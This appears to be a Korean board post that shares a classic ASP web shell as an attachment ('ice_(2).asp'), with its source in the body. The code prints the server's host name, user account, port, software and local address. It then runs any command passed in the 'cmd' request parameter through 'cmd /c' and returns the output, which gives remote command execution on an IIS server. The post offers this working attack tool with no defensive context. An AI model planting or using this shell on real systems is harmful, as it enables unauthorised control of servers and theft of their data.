12313
문동원(assaassa11) 조회수 1279 다운수 3

<% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") Function getCommandOutput(theCommand) Dim objShell, objCmdExec Set objShell = CreateObject("WScript.Shell") Set objCmdExec = objshell.exec(thecommand) getCommandOutput = objCmdExec.StdOut.ReadAll end Function %>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>

The server's port: <%Response.Write(Request.ServerVariables("server_port"))%>

The server's software: <%Response.Write(Request.ServerVariables("server_software"))%>

The server's software: <%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> <% szCMD = request("cmd") thisDir = getCommandOutput("cmd /c" & szCMD) Response.Write(thisDir)%>


첨부파일1 211108153754_ice_(2).asp
첨부파일2 0.jpg

 

 
3 2023-07-09 오충석(cndtjr12) 207/0
2 2023-04-27 김성재(ts2319) 227/2
1 2022-01-05 문동원(assaassa11) 1280/3
1